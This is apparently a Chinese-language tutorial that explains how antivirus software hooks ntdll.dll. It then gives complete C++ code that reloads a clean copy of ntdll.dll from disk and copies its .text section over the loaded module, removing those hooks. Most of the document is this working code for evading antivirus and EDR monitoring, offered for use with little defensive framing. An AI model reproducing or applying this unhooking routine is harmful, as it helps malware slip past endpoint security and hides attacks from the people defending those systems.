许多杀毒软件使用钩子(hook)技术来监视系统的API函数调用,并检测潜在的恶意代码行为。Ntdll.dll是Windows操作系统的一个核心动态链接库,其中包含许多系统级API函数。通过在Ntdll上设置钩子,杀毒软件可以拦截这些API函数的调用,并检查它们的参数和返回值,以便发现可能的恶意行为
遍历当前进程中加载的ntdll模块的所有section(节区)。在Windows PE文件格式(包括DLL和EXE)中,一个section是包含特定类型数据的一个内存区块,例如代码或者数据。特别地,.text
section通常包含程序的代码
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <winternl.h>
#include <psapi.h>
// 智能句柄,自动管理系统资源
struct SmartHandle {
HANDLE handle; // 系统句柄
SmartHandle(HANDLE handle) : handle(handle) {} // 构造函数,接收系统句柄
~SmartHandle() { // 析构函数
if (handle != INVALID_HANDLE_VALUE) { // 判断句柄是否有效
CloseHandle(handle); // 如果有效,关闭句柄
}
}
};
DWORD UNHOOKntdll() {
MODULEINFO mi = {}; // 定义模块信息结构体
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); // 获取ntdll模块的句柄
GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi)); // 获取模块信息,存放到mi
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; // 获取ntdll模块的基址
// 使用智能句柄打开ntdll.dll文件
SmartHandle ntdllFile(CreateFileA("c:\\windows\\system32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL));
// 创建文件映射,映射ntdll.dll文件
SmartHandle ntdllMapping(CreateFileMapping(ntdllFile.handle, NULL, PAGE_READONLY |
SEC_IMAGE, 0, 0, NULL));
// 映射视图,得到映射地址
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping.handle, FILE_MAP_READ, 0,
0, 0);
// 读取ntdll模块的DOS头
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
// 读取ntdll模块的NT头
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase
+ hookedDosHeader->e_lfanew);
// 遍历所有节
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
// 读取每个节的头信息
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)
((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) +
((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
// 检查是否是.text节
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0; // 用来保存旧的保护属性
try {
// 修改内存保护属性为可读可写可执行
BOOL isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase +
(DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
// 使用memcpy替换.text节的内容
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
(LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
}
catch (...) {
// 如果在修改过程中发生异常,确保恢复内存的保护属性
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
throw; // 再次抛出异常,让上层调用者知道发生了异常
}
// 确保我们恢复了内存的保护属性
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
FreeLibrary(ntdllModule); // 释放模块
return 0;
}
int main() {
getchar();
UNHOOKntdll();
return 0;
}